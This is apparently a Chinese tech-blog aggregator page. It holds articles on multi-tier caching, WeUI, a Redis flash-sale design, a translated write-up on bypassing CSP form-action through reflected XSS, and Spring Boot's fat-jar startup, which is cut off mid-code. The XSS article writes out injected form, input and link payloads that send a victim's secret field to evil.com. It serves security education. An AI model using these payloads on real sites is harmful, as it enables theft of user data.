8、步骤7返回的数据异步写到主Redis集群,此处可能多个Tomcat实例同时写主Redis集群,可能造成数据错乱,如何解决该问题将在更新缓存与原子性部分细聊。

整体分了三部分缓存:应用Nginx本地缓存、分布式缓存、Tomcat堆缓存,每一层缓存都用来解决相关的问题,如应用Nginx本地缓存用来解决热点缓存问题,分布式缓存用来减少访问回源率、Tomcat堆缓存用于防止相关缓存失效/崩溃之后的冲击。

虽然就是加缓存,但是怎么加,怎么用细想下来还是有很多问题需要权衡和考量的,接下来部分我们就详细来讨论一些缓存相关的问题。

2、如何缓存数据

2.1、过期与不过期

对于缓存的数据我们可以考虑不过期缓存和带过期时间缓存;什么场景应该选择哪种模式需要根据业务和数据量等因素来决定。

不过期缓存场景一般思路如下图所示:

如上图所示,首先写数据库,如果成功则写缓存。这种机制存在一些问题:

1、事务在提交时失败则写缓存是不会回滚的造成DB和缓存数据不一致;

2、假设多个人并发写缓存可能出现脏数据的;

3、同步写对性能有一定的影响,异步写存在丢数据的风险。

如果对缓存数据一致性要求不是那么高,数据量也不是很大,可以考虑定期全量同步缓存。

为解决以上问题可以考虑使用消息机制,如下图所示:

1、把写缓存改成写消息,通过消息通知数据变更;

2、同步缓存系统会订阅消息,并根据消息进行更新缓存;

3、数据一致性可以采用:消息体只包括ID、然后查库获取最新版本数据;通过时间戳和内容摘要机制(MD5)进行缓存更新;

4、如上方法也不能保证消息不丢失,可以采用:应用在本地记录更新日志,当消息丢失了回放更新日志;或者采用数据库binlog,采用如canal订阅binlog进行缓存更新。

对于长尾访问的数据、大多数数据访问频率都很高的场景、缓存空间足够都可以考虑不过期缓存,比如用户、分类、商品、价格、订单等,当缓存满了可以考虑LRU机制驱逐老的缓存数据。

过期缓存机制,即采用懒加载,一般用于缓存别的系统的数据(无法订阅变更消息、或者成本很高)、缓存空间有限、低频热点缓存等场景;常见步骤是:首先读取缓存如果不命中则查询数据,然后异步写入缓存并设置过期时间,下次读取将命中缓存。热点数据经常使用过期缓存,即在应用系统上缓存比较短的时间。这种缓存可能存在一段时间的数据不一致情况,需要根据场景来决定如何设置过期时间。如库存数据可以在前端应用上缓存几秒钟,短时间的不一致时可以忍受的。

2.2、维度化缓存与增量缓存

对于电商系统,一个商品可能拆成如:基础属性、图片列表、上下架、规格参数、商品介绍等;如果商品变更了要把这些数据都更新一遍那么整个更新成本很高:接口调用量和带宽;因此最好将数据进行维度化并增量更新(只更新变的部分)。尤其如上下架这种只是一个状态变更,但是每天频繁调用的,维度化后能减少服务很大的压力。

3、分布式缓存与应用负载均衡

3.1、缓存分布式

此处说的分布式缓存一般采用分片实现,即将数据分散到多个实例或多台服务器。算法一般采用取模和一致性哈希。如之前说的做不过期缓存机制可以考虑取模机制,扩容时一般是新建一个集群;而对于可以丢失的缓存数据可以考虑一致性哈希,即使其中一个实例出问题只是丢一小部分,对于分片实现可以考虑客户端实现,或者使用如Twemproxy中间件进行代理(分片对客户端是透明的)。如果使用Redis可以考虑使用redis-cluster分布式集群方案。

3.2、应用负载均衡

应用负载均衡一般采用轮询和一致性哈希,一致性哈希可以根据应用请求的URL或者URL参数将相同的请求转发到同一个节点;而轮询即将请求均匀的转发到每个服务器;如下图所示:

整体流程:

1、首先请求进入接入层Nginx;

2、根据负载均衡算法将请求转发给应用Nginx;

3、如果应用Nginx本地缓存命中,则直接返回数据,否则读取分布式缓存或者回源到Tomcat。

轮询的优点:到应用Nginx的请求更加均匀,使得每个服务器的负载基本均衡;轮询的缺点:随着应用Nginx服务器的增加,缓存的命中率会下降,比如原来10台服务器命中率为90%,再加10台服务器将可能降低到45%;而这种方式不会因为热点问题导致其中某一台服务器负载过重。

一致性哈希的优点:相同请求都会转发到同一台服务器,命中率不会因为增加服务器而降低;一致性哈希的缺点:因为相同的请求会转发到同一台服务器,因此可能造成某台服务器负载过重,甚至因为请求太多导致服务出现问题。

解决办法是根据实际情况动态选择使用哪种算法:

1、负载较低时使用一致性哈希;

2、热点请求降级一致性哈希为轮询;

3、将热点数据推送到接入层Nginx,直接响应给用户。

4、热点数据与更新缓存

热点数据会造成服务器压力过大,导致服务器性能、吞吐量、带宽达到极限,出现响应慢或者拒绝服务的情况,这肯定是不允许的。可以从如下几个方案去解决。

4.1、单机全量缓存+主从

如上图所示,所有缓存都存储在应用本机,回源之后会把数据更新到主Redis集群,然后通过主从复制到其他从Redis集群。缓存的更新可以采用懒加载或者订阅消息进行同步。

4.2、分布式缓存+应用本地热点

对于分布式缓存,我们需要在Nginx+Lua应用中进行应用缓存来减少Redis集群的访问冲击;即首先查询应用本地缓存,如果命中则直接缓存,如果没有命中则接着查询Redis集群、回源到Tomcat;然后将数据缓存到应用本地。

此处到应用Nginx的负载机制采用:正常情况采用一致性哈希,如果某个请求类型访问量突破了一定的阀值,则自动降级为轮询机制。另外对于一些秒杀活动之类的热点我们是可以提前知道的,可以把相关数据预先推送到应用Nginx并将负载均衡机制降级为轮询。

另外可以考虑建立实时热点发现系统来发现热点:

1、接入Nginx将请求转发给应用Nginx;

2、应用Nginx首先读取本地缓存;如果命中直接返回,不命中会读取分布式缓存、回源到Tomcat进行处理;

3、应用Nginx会将请求上报给实时热点发现系统,如使用UDP直接上报请求、或者将请求写到本地kafka、或者使用flume订阅本地nginx日志;上报给实时热点发现系统后,它将进行统计热点(可以考虑storm实时计算);

4、根据设置的阀值将热点数据推送到应用Nginx本地缓存。

因为做了本地缓存,因此对于数据一致性需要我们去考虑,即何时失效或更新缓存:

1、如果可以订阅数据变更消息,那么可以订阅变更消息进行缓存更新;

2、如果无法订阅消息或者订阅消息成本比较高,并且对短暂的数据一致性要求不严格(比如在商品详情页看到的库存,可以短暂的不一致,只要保证下单时一致即可),那么可以设置合理的过期时间,过期后再查询新的数据;

3、如果是秒杀之类的,可以订阅活动开启消息,将相关数据提前推送到前端应用,并将负载均衡机制降级为轮询;

4、建立实时热点发现系统来对热点进行统一推送和更新。

5、更新缓存与原子性

正如之前说的如果多个应用同时操作一份数据很可能造成缓存数据是脏数据,解决办法:

1.1、更新数据时使用更新时间戳或者版本对比,如果使用Redis可以利用其单线程机制进行原子化更新;

1.2、使用如canal订阅数据库binlog;

2.1、将更新请求按照相应的规则分散到多个队列,然后每个队列的进行单线程更新,更新时拉取最新的数据保存;

2.2、分布式锁,更新之前获取相关的锁。

6、缓存崩溃与快速修复

6.1、取模

对于取模机制如果其中一个实例坏了,如果摘除此实例将导致大量缓存不命中,瞬间大流量可能导致后端DB/服务出现问题。对于这种情况可以采用主从机制来避免实例坏了的问题,即其中一个实例坏了可以那从/主顶上来。但是取模机制下如果增加一个节点将导致大量缓存不命中,一般是建立另一个集群,然后把数据迁移到新集群,然后把流量迁移过去。

6.2、一致性哈希

对于一致性哈希机制如果其中一个实例坏了,如果摘除此实例将只影响一致性哈希环上的部分缓存不命中,不会导致瞬间大量回源到后端DB/服务,但是也会产生一些影响。

另外也可能因为一些误操作导致整个缓存集群出现了问题,如何快速恢复呢?

6.3、快速恢复

如果出现之前说到的一些问题,可以考虑如下方案:

1、主从机制,做好冗余,即其中一部分不可用,将对等的部分补上去;

2、如果因为缓存导致应用可用性已经下降可以考虑:1、部分用户降级,然后慢慢减少降级量;2、后台通过Worker预热缓存数据。

也就是如果整个缓存集群坏了,而且没有备份,那么只能去慢慢将缓存重建;为了让部分用户还是可用的,可以根据系统承受能力,通过降级方案让一部分用户先用起来,将这些用户相关的缓存重建;另外通过后台Worker进行缓存数据的预热。

相关文章

微信官方UI库:WeUI

$
0
0

WeUI是一套同微信原生视觉体验一致的基础样式库,由微信官方设计团队为微信 Web 开发量身设计,可以令用户的使用感知更加统一。包含button、cell、dialog、 progress、 toast、article、actionsheet、icon等各式元素

weui

演示地址; http://weui.github.io/weui/

项目地址: https://github.com/weui/weui

视觉标准: https://github.com/weui/weui-sketch

微信web开发者工具: https://mp.weixin.qq.com/wiki/10/e5f772f4521da17fa0d7304f68b97d7e.html

用 Redis 轻松实现秒杀系统

$
0
0

导论

曾经被问过好多次怎样实现秒杀系统的问题。昨天又在CSDN架构师微信群被问到了。因此这里把我设想的实现秒杀系统的价格设计分享出来。供大家参考。

秒杀系统的架构设计

秒杀系统,是典型的短时大量突发访问类问题。对这类问题,有三种优化性能的思路:

写入内存而不是写入硬盘、异步处理而不是同步处理、分布式处理

用上这三招,不论秒杀时负载多大,都能轻松应对。更好的是,Redis能够满足上述三点。因此,用Redis就能轻松实现秒杀系统。 用我这个方案,无论是电商平台特价秒杀,12306火车票秒杀,都不是事:)

下面介绍一下为什么上述三种性能优化思路能够解决秒杀系统的性能问题:

  • 写入内存而不是写入硬盘 传统硬盘的读写性能是相当差的。SSD硬盘比传统硬盘快100倍。而内存又比SSD硬盘快10倍以上。因此,写入内存而不是写入硬盘,就能使系统的能力提升上千倍。也就是说,原来你的秒杀系统可能需要1000台服务器支撑,现在1台服务器就可以扛住了。 你可能会有这样的疑问:写入内存而不是持久化,那么如果此时计算机宕机了,那么写入的数据不就全部丢失了吗?如果你就这么倒霉碰到服务器宕机,那你就没秒到了,有什么大不了? 最后,后面真正处理秒杀订单时,我们会把信息持久化到硬盘中。因此不会丢失关键数据。 Redis是一个缓存系统,数据写入内存后就返回给客户端了,能够支持这个特性。
  • 异步处理而不是同步处理 像秒杀这样短时大并发的系统,在性能负载上有一个明显的波峰和长期的波谷。为了应对相当短时间的大并发而准备大量服务器来应对,在经济上是相当不合算的。 因此,对付秒杀类需求,就应该化同步为异步。用户请求写入内存后立刻返回。后台启动多个线程从内存池中异步读取数据,进行处理。如用户请求可能是1秒钟内进入的,系统实际处理完成可能花30分钟。那么一台服务器在异步情况下其处理能力大于同步情况下1800多倍! 异步处理,通常用MQ(消息队列)来实现。Redis可以看作是一个高性能的MQ。因为它的数据读写都发生在内存中。
  • 分布式处理 好吧。也许你的客户很多,秒杀系统即使用了上面两招,还是捉襟见肘。没关系,我们还有大招:分布式处理。如果一台服务器撑不住秒杀系统,那么就多用几台服务器。10台不行,就上100台。分布式处理,就是把海量用户的请求分散到多个服务器上。一般使用hash实现均匀分布。 这类系统在大数据云计算时代的今天已经有很多了。无非是用Paxos算法和Hash Ring实现的。 Redis Cluster正是这样一个分布式的产品。

使用Redis实现描述系统

Redis和Redis Cluster(分布式版本),是一个分布式缓存系统。其支持多种数据结构,也支持MQ。Redis在性能上做了大量优化。因此使用Redis或者Redis Cluster就可以轻松实现一个强大的秒杀系统。 基本上,你用Redis的这些命令就可以了。 RPUSH key value 插入秒杀请求

当插入的秒杀请求数达到上限时,停止所有后续插入。 后台启动多个工作线程,使用 LPOP key 读取秒杀成功者的用户id,进行后续处理。 或者使用LRANGE key start end命令读取秒杀成功者的用户id,进行后续处理。 每完成一条秒杀记录的处理,就执行INCR key_num。一旦所有库存处理完毕,就结束该商品的本次秒杀,关闭工作线程,也不再接收秒杀请求。

要是还撑不住,该怎么办

也许你会说,我们的客户很多。即使部署了Redis Cluster,仍然撑不住。那该怎么办呢? 记得某个伟人曾经说过:办法总比困难多!

下面,我们具体分析下,还有哪些情况会压垮我们架构在Redis(Cluster)上的秒杀系统。

脚本攻击

如现在有很多抢火车票的软件。它们会自动发起http请求。一个客户端一秒会发起很多次请求。如果有很多用户使用了这样的软件,就可能会直接把我们的交换机给压垮了。

这个问题其实属于网络问题的范畴,和我们的秒杀系统不在一个层面上。因此不应该由我们来解决。很多交换机都有防止一个源IP发起过多请求的功能。开源软件也有不少能实现这点。如linux上的TC可以控制。流行的Web服务器Nginx(它也可以看做是一个七层软交换机)也可以通过配置做到这一点。一个IP,一秒钟我就允许你访问我2次,其他软件包直接给你丢了,你还能压垮我吗?

交换机撑不住了

可能你们的客户并发访问量实在太大了,交换机都撑不住了。 这也有办法。我们可以用多个交换机为我们的秒杀系统服务。 原理就是DNS可以对一个域名返回多个IP,并且对不同的源IP,同一个域名返回不同的IP。如网通用户访问,就返回一个网通机房的IP;电信用户访问,就返回一个电信机房的IP。也就是用CDN了! 我们可以部署多台交换机为不同的用户服务。 用户通过这些交换机访问后面数据中心的Redis Cluster进行秒杀作业。

总结

有了Redis Cluster的帮助,做个支持海量用户的秒杀系统其实So Easy! 这里介绍的方案虽然是针对秒杀系统的,但其背后的原理对其他高并发系统一样有效。 最后,我们再重温一下高性能系统的优化原则:  写入内存而不是写入硬盘、异步处理而不是同步处理、分布式处理。

用 Redis 轻松实现秒杀系统,首发于 博客 - 伯乐在线

利用反射型XSS二次注入绕过CSP form-action限制

$
0
0

翻译: SecurityToolkit

0x01 简单介绍


CSP(Content-Security-Policy)是为了缓解XSS而存在的一种策略, 开发者可以设置一些规则来限制页面可以加载的内容.那文本中所说的form-action又是干啥的呢?用他可以限制form标签"action"属性的指向页面, 这样可以防止攻击者通过XSS修改表单的"action"属性,偷取用户的一些隐私信息.

0x02 实例分析


上面讲的太抽象了, 如果不想看的话可以直接跳过....具体一点, 现在使用的是chrome浏览器, 假设下面这个secret.html是可能被XSS攻击的

//XSS在这里, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'><input name='secret' value='xiao_mi_mi'/>         //小秘密

如果这个站点没有CSP, 攻击者可以直接通过XSS修改

<form method="POST" action='http://evil.com/wo_de_mi_mi.php'>   //我的秘密

当用户傻傻地进行"正常'操作时,小秘密已经悄然变成攻击者的秘密了.然后,有一个管理员试图用CSP防止这个问题, 他使用白名单策略限制外部JS的加载并且不允许内联脚本, 好像安全性高了一点.

攻击者想了下, 把页面改成下面这个样子

<div><form action='http://evil.com/wo_de_mi_mi.php'></div><form method='POST' id='subscribe' action='oo.html'>

在原本的form之前又加了一个form标签, 这个新的form标签没有闭合,并且直接碰到了老form标签, 这个时候会发生什么呢?

Screen Shot 2016-04-10 at 19.25.02

老form标签就这样消失了! 所以攻击者再次把用户的小秘密发送到了自己的服务器上, 而且这时本来应该是POST的secret因为老form标签的消失现在变成了GET发送, 请求变成了下面这样.

Screen Shot 2016-04-10 at 19.25.02

这下管理员郁闷了, 最后索性用CSP加上了form-action来白名单限定form标签的action指向, 那么这样是否还会出现问题呢?

一起来回顾一下, 现在有一个不能执行JS的反射型XSS和一个只能往白名单域名(当然没有攻击者域名...)指向的form标签.

原secret.html

// XSS位置, victim.com/secret.html?xss=xss
<form method="POST" id='subscribe' action='oo.html'><input name='secret' value='xiao_mi_mi'/>

最后攻击者的改过的页面如下

<input value='ByPass CSP' type='submit' form='subscribe' formaction='' formmethod='GET' /><input type='hidden' name='xss' form='subscribe' value="<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>">
// XSS, victim.com/secret.html?xss=xss<form method="POST" id='subscribe' action='oo.html'><input type='hidden' name='secret' value='xiao_mi_mi'/></form>

这里有几处tricky的地方, 整个代码的步骤如下

  1. input标签的form/formmethod/formaction将老form POST到oo.html的secret变成GET发送到secret.html即当前页面.

  2. 跳转后仍处于secret.html因此该页面的XSS还可以被二次利用注入恶意标签, 这里又利用第二个input标签增加GET请求的xss参数, 所以跳转之后的URL变为

    http://victim.com/secret.html?secret=xiao_mi_mi&xss=<link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
  3. 此时secret.html再次触发XSS, 被攻击者加入下面标签

    <link rel='subresource' href='http://evil.com/wo_de_mi_mi.php'>
  4. Screen Shot 2016-04-10 at 20.12.36

正是最后这个link标签泄露了本该POST发送的secret, 攻击者通过利用一个反射型XSS将CSP的form-action绕过.

0x03 最后


CSP能够从某种程度上限制XSS, 对网站的防护是很有益义的. 不过相比国外经常能够看到相关的讨论,国内CSP的推进和热度却是比较不尽人意的, 同时关于CSP也有很多有意思的安全点, 特此翻译出来以供大家学习和参考.

原文链接: https://labs.detectify.com/2016/04/04/csp-bypassing-form-action-with-reflected-xss/

spring boot应用启动原理分析

$
0
0

spring boot quick start

在spring boot里,很吸引人的一个特性是可以直接把应用打包成为一个jar/war,然后这个jar/war是可以直接启动的,不需要另外配置一个Web Server。

如果之前没有使用过spring boot可以通过下面的demo来感受下。
下面以这个工程为例,演示如何启动Spring boot项目:

git clone git@github.com:hengyunabc/spring-boot-demo.git
mvn spring-boot-demo
java -jar target/demo-0.0.1-SNAPSHOT.jar

如果使用的IDE是spring sts或者idea,可以通过向导来创建spring boot项目。

也可以参考官方教程:
http://docs.spring.io/spring-boot/docs/current-SNAPSHOT/reference/htmlsingle/#getting-started-first-application

对spring boot的两个疑问

刚开始接触spring boot时,通常会有这些疑问

  • spring boot如何启动的?
  • spring boot embed tomcat是如何工作的? 静态文件,jsp,网页模板这些是如何加载到的?

下面来分析spring boot是如何做到的。

打包为单个jar时,spring boot的启动方式

maven打包之后,会生成两个jar文件:

demo-0.0.1-SNAPSHOT.jar
demo-0.0.1-SNAPSHOT.jar.original

其中demo-0.0.1-SNAPSHOT.jar.original是默认的maven-jar-plugin生成的包。

demo-0.0.1-SNAPSHOT.jar是spring boot maven插件生成的jar包,里面包含了应用的依赖,以及spring boot相关的类。下面称之为fat jar。

先来查看spring boot打好的包的目录结构(不重要的省略掉):

├── META-INF
│   ├── MANIFEST.MF
├── application.properties
├── com
│   └── example
│       └── SpringBootDemoApplication.class
├── lib
│   ├── aopalliance-1.0.jar
│   ├── spring-beans-4.2.3.RELEASE.jar
│   ├── ...
└── org
    └── springframework
        └── boot
            └── loader
                ├── ExecutableArchiveLauncher.class
                ├── JarLauncher.class
                ├── JavaAgentDetector.class
                ├── LaunchedURLClassLoader.class
                ├── Launcher.class
                ├── MainMethodRunner.class
                ├── ...

依次来看下这些内容。

MANIFEST.MF

Manifest-Version: 1.0
Start-Class: com.example.SpringBootDemoApplication
Implementation-Vendor-Id: com.example
Spring-Boot-Version: 1.3.0.RELEASE
Created-By: Apache Maven 3.3.3
Build-Jdk: 1.8.0_60
Implementation-Vendor: Pivotal Software, Inc.
Main-Class: org.springframework.boot.loader.JarLauncher

可以看到有Main-Class是org.springframework.boot.loader.JarLauncher ,这个是jar启动的Main函数。

还有一个Start-Class是com.example.SpringBootDemoApplication,这个是我们应用自己的Main函数。

@SpringBootApplication
public class SpringBootDemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(SpringBootDemoApplication.class, args);
    }
}

com/example 目录

这下面放的是应用的.class文件。

lib目录

这里存放的是应用的Maven依赖的jar包文件。
比如spring-beans,spring-mvc等jar。

org/springframework/boot/loader 目录

这下面存放的是Spring boot loader的.class文件。

Archive的概念

  • archive即归档文件,这个概念在linux下比较常见
  • 通常就是一个tar/zip格式的压缩包
  • jar是zip格式

在spring boot里,抽象出了Archive的概念。

一个archive可以是一个jar(JarFileArchive),也可以是一个文件目录(ExplodedArchive)。可以理解为Spring boot抽象出来的统一访问资源的层。

上面的demo-0.0.1-SNAPSHOT.jar 是一个Archive,然后demo-0.0.1-SNAPSHOT.jar里的/lib目录下面的每一个Jar包,也是一个Archive。

public abstract class Archive {
    public abstract URL getUrl();
    public String getMainClass();
    public abstract Collection<Entry> getEntries();
    public abstract List<Archive> getNestedArchives(EntryFilter filter);

可以看到Archive有一个自己的URL,比如:

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/

还有一个getNestedArchives函数,这个实际返回的是demo-0.0.1-SNAPSHOT.jar/lib下面的jar的Archive列表。它们的URL是:

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/lib/aopalliance-1.0.jar
jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/lib/spring-beans-4.2.3.RELEASE.jar

JarLauncher

从MANIFEST.MF可以看到Main函数是JarLauncher,下面来分析它的工作流程。

JarLauncher类的继承结构是:

class JarLauncher extends ExecutableArchiveLauncher
class ExecutableArchiveLauncher extends Launcher

以demo-0.0.1-SNAPSHOT.jar创建一个Archive:

JarLauncher先找到自己所在的jar,即demo-0.0.1-SNAPSHOT.jar的路径,然后创建了一个Archive。

下面的代码展示了如何从一个类找到它的加载的位置的技巧:

 protected final Archive createArchive() throws Exception {
        ProtectionDomain protectionDomain = getClass().getProtectionDomain();
        CodeSource codeSource = protectionDomain.getCodeSource();
        URI location = (codeSource == null ? null : codeSource.getLocation().toURI());
        String path = (location == null ? null : location.getSchemeSpecificPart());
        if (path == null) {
            throw new IllegalStateException("Unable to determine code source archive");
        }
        File root = new File(path);
        if (!root.exists()) {
            throw new IllegalStateException("Unable to determine code source archive from " + root);
        }
        return (root.isDirectory() ? new ExplodedArchive(root)
                : new JarFileArchive(root));
    }

获取lib/下面的jar,并创建一个LaunchedURLClassLoader

JarLauncher创建好Archive之后,通过getNestedArchives函数来获取到demo-0.0.1-SNAPSHOT.jar/lib下面的所有jar文件,并创建为List。

注意上面提到,Archive都是有自己的URL的。

获取到这些Archive的URL之后,也就获得了一个URL[]数组,用这个来构造一个自定义的ClassLoader:LaunchedURLClassLoader。

创建好ClassLoader之后,再从MANIFEST.MF里读取到Start-Class,即com.example.SpringBootDemoApplication,然后创建一个新的线程来启动应用的Main函数。

/**
     * Launch the application given the archive file and a fully configured classloader.
     */
    protected void launch(String[] args, String mainClass, ClassLoader classLoader)
            throws Exception {
        Runnable runner = createMainMethodRunner(mainClass, args, classLoader);
        Thread runnerThread = new Thread(runner);
        runnerThread.setContextClassLoader(classLoader);
        runnerThread.setName(Thread.currentThread().getName());
        runnerThread.start();
    }

    /**
     * Create the {@code MainMethodRunner} used to launch the application.
     */
    protected Runnable createMainMethodRunner(String mainClass, String[] args,
            ClassLoader classLoader) throws Exception {
        Class<?> runnerClass = classLoader.loadClass(RUNNER_CLASS);
        Constructor<?> constructor = runnerClass.getConstructor(String.class,
                String[].class);
        return (Runnable) constructor.newInstance(mainClass, args);
    }

LaunchedURLClassLoader

LaunchedURLClassLoader和普通的URLClassLoader的不同之处是,它提供了从Archive里加载.class的能力。

结合Archive提供的getEntries函数,就可以获取到Archive里的Resource。当然里面的细节还是很多的,下面再描述。

spring boot应用启动流程总结

看到这里,可以总结下Spring Boot应用的启动流程:

  1. spring boot应用打包之后,生成一个fat jar,里面包含了应用依赖的jar包,还有Spring boot loader相关的类
  2. Fat jar的启动Main函数是JarLauncher,它负责创建一个LaunchedURLClassLoader来加载/lib下面的jar,并以一个新线程启动应用的Main函数。

spring boot loader里的细节

代码地址: https://github.com/spring-projects/spring-boot/tree/master/spring-boot-tools/spring-boot-loader

JarFile URL的扩展

Spring boot能做到以一个fat jar来启动,最重要的一点是它实现了jar in jar的加载方式。

JDK原始的JarFile URL的定义可以参考这里:

http://docs.oracle.com/javase/7/docs/api/java/net/JarURLConnection.html

原始的JarFile URL是这样子的:

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/

jar包里的资源的URL:

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/com/example/SpringBootDemoApplication.class

可以看到对于Jar里的资源,定义以’!/’来分隔。原始的JarFile URL只支持一个’!/’。

Spring boot扩展了这个协议,让它支持多个’!/’,就可以表示jar in jar,jar in directory的资源了。

比如下面的URL表示demo-0.0.1-SNAPSHOT.jar这个jar里lib目录下面的spring-beans-4.2.3.RELEASE.jar里面的MANIFEST.MF:

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/lib/spring-beans-4.2.3.RELEASE.jar!/META-INF/MANIFEST.MF

自定义URLStreamHandler,扩展JarFile和JarURLConnection

在构造一个URL时,可以传递一个Handler,而JDK自带有默认的Handler类,应用可以自己注册Handler来处理自定义的URL。

public URL(String protocol,
           String host,
           int port,
           String file,
           URLStreamHandler handler)
    throws MalformedURLException

参考:
https://docs.oracle.com/javase/8/docs/api/java/net/URL.html#URL-java.lang.String-java.lang.String-int-java.lang.String-

Spring boot通过注册了一个自定义的Handler类来处理多重jar in jar的逻辑。

这个Handler内部会用SoftReference来缓存所有打开过的JarFile。

在处理像下面这样的URL时,会循环处理’!/’分隔符,从最上层出发,先构造出demo-0.0.1-SNAPSHOT.jar这个JarFile,再构造出spring-beans-4.2.3.RELEASE.jar这个JarFile,然后再构造出指向MANIFEST.MF的JarURLConnection。

jar:file:/tmp/target/demo-0.0.1-SNAPSHOT.jar!/lib/spring-beans-4.2.3.RELEASE.jar!/META-INF/MANIFEST.MF
//org.springframework.boot.loader.jar.Handler
public class Handler extends URLStreamHandler {
    private static final String SEPARATOR = "!/";
    private static SoftReference<Map<File, JarFile>> rootFileCache;
    @Override
    protected URLConnection openConnection(URL url) throws IOException {
        if (this.jarFile != null) {
            return new JarURLConnection(url, this.jarFile);
        }
        try {
            return new JarURLConnection(url, getRootJarFileFromUrl(url));
        }
        catch (Exception ex) {
            return openFallbackConnection(url, ex);
        }
    }
    public JarFile getRootJarFileFromUrl(URL url) throws IOException {
        String spec = url.getFile();
        int separatorIndex = spec.indexOf(SEPARATOR);
        if (separatorIndex == -1) {
            throw new MalformedURLException("Jar URL does not contain !/ separator");
        }
        String name = spec.substring(0, separatorIndex);
        return getRootJarFile(name);
    }

ClassLoader如何读取到Resource

对于一个ClassLoader,它需要哪些能力?

  • 查找资源
  • 读取资源

对应的API是:

public URL findResource(String name)
public InputStream getResourceAsStream(String name)

上面提到,Spring boot构造LaunchedURLClassLoader时,传递了一个URL[]数组。数组里是lib目录下面的jar的URL。

对于一个URL,JDK或者ClassLoader如何知道怎么读取到里面的内容的?

实际上流程是这样子的:

  • LaunchedURLClassLoader.loadClass
  • URL.getContent()
  • URL.openConnection()
  • Handler.openConnection(URL)

最终调用的是JarURLConnection的getInputStream()函数。

//org.springframework.boot.loader.jar.JarURLConnection
    @Override
    public InputStream getInputStream() throws IOException {
        connect();
        if (this.jarEntryName.isEmpty()) {
            throw new IOException("no entry name specified");
        }
        return this.jarEntryData.getInputStream();
    }

从一个URL,到最终读取到URL里的内容,整个过程是比较复杂的,总结下:

  • spring boot注册了一个Handler来处理”jar:”这种协议的URL
  • spring boot扩展了JarFile和JarURLConnection,内部处理jar in jar的情况
  • 在处理多重jar in jar的URL时,spring boot会循环处理,并缓存已经加载到的JarFile
  • 对于多重jar in jar,实际上是解压到了临时目录来处理,可以参考JarFileArchive里的代码
  • 在获取URL的InputStream时,最终获取到的是JarFile里的JarEntryData

这里面的细节很多,只列出比较重要的一些点。

然后,URLClassLoader是如何getResource的呢?

URLClassLoader在构造时,有URL[]数组参数,它内部会用这个数组来构造一个URLClassPath:

URLClassPath ucp = new URLClassPath(urls);

在 URLClassPath 内部会为这些URLS 都构造一个Loader,然后在getResource时,会从这些Loader里一个个去尝试获取。
如果获取成功的话,就像下面那样包装为一个Resource。

Resource getResource(final String name, boolean check) {
    final URL url;
    try {
        url = new URL(base, ParseUtil.encodePath(name, false));
    } catch (MalformedURLException e) {
        throw new IllegalArgumentException("name");
    }
    final URLConnection uc;
    try {
        if (check) {
            URLClassPath.check(url);
        }
        uc = url.openConnection();
        InputStream in = uc.getInputStream();
        if (uc instanceof JarURLConnection) {
            /* Need to remember the jar file so it can be closed
             * in a hurry.
             */
            JarURLConnection juc = (JarURLConnection)uc;
            jarfile = JarLoader.checkJar(juc.getJarFile());
        }
    } catch (Exception e) {
        return null;
    }
    return new Resource() {
        public String getName() { return name; }
        public URL getURL() { return url; }
        public URL getCodeSourceURL() { return base; }
        public InputStream getInputStream() throws IOException {
            return uc.getInputStream();
        }
        public int getContentLength() throws IOException {
            return uc.getContentLength();
        }
    };
}

从代码里可以看到,实际上是调用了url.openConnection()。这样完整的链条就可以连接起来了。

注意,URLClassPath这个类的代码在JDK里没有自带,在这里看到 http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/7u40-b43/sun/misc/URLClassPath.java#506

在IDE/开放目录启动Spring boot应用

在上面只提到在一个fat jar里启动Spring boot应用的过程,下面分析IDE里Spring boot是如何启动的。

在IDE里,直接运行的Main函数是应用自己的Main函数:

@SpringBootApplication
public class SpringBootDemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(SpringBootDemoApplication.class, args);
    }
}

其实在IDE里启动Spring boot应用是最简单的一种情况,因为依赖的Jar都让IDE放到classpath里了,所以Spring boot直接启动就完事了。

还有一种情况是在一个开放目录下启动Spring boot启动。所谓的开放目录就是把fat jar解压,然后直接启动应用。

java org.springframework.boot.loader.JarLauncher

这时,Spring boot会判断当前是否在一个目录里,如果是的,则构造一个ExplodedArchive(前面在jar里时是JarFileArchive),后面的启动流程类似fat jar的。

Embead Tomcat的启动流程

判断是否在web环境

spring boot在启动时,先通过一个简单的查找Servlet类的方式来判断是不是在web环境:

private static final String[] WEB_ENVIRONMENT_CLASSES = { "javax.servlet.Servlet","org.springframework.web.context.ConfigurableWebApplicationContext" };

private boolean deduceWebEnvironment() {
    for (String className : WEB_ENVIRONMENT_CLASSES) {
        if (!ClassUtils.isPresent(className, null)) {
            return false;
        }
    }
    return true;
}

如果是的话,则会创建AnnotationConfigEmbeddedWebApplicationContext,否则Spring context就是AnnotationConfigApplicationContext:

//org.springframework.boot.SpringApplication
    protected ConfigurableApplicationContext createApplicationContext() {
        Class<?> contextClass = this.applicationContextClass;
        if (contextClass == null) {
            try {
                contextClass = Class.forName(this.webEnvironment
                        ? DEFAULT_WEB_CONTEXT_CLASS : DEFAULT_CONTEXT_CLASS);
            }
            catch (ClassNotFoundException ex) {
                throw new IllegalStateException("Unable create a default ApplicationContext, "
                                + "please specify an ApplicationContextClass",
                        ex);
            }
        }
        return (ConfigurableApplicationContext) BeanUtils.instantiate(contextClass);
    }

获取EmbeddedServletContainerFactory的实现类

spring boot通过获取EmbeddedServletContainerFactory来启动对应的web服务器。

常用的两个实现类是TomcatEmbeddedServletContainerFactory和JettyEmbeddedServletContainerFactory。

启动Tomcat的代码:

//TomcatEmbeddedServletContainerFactory
@Override
public EmbeddedServletContainer getEmbeddedServletContainer(
        ServletContextInitializer... initializers) {
    Tomcat tomcat = new Tomcat();
    File baseDir = (this.baseDirectory != null ? this.baseDirectory
            : createTempDir("tomcat"));
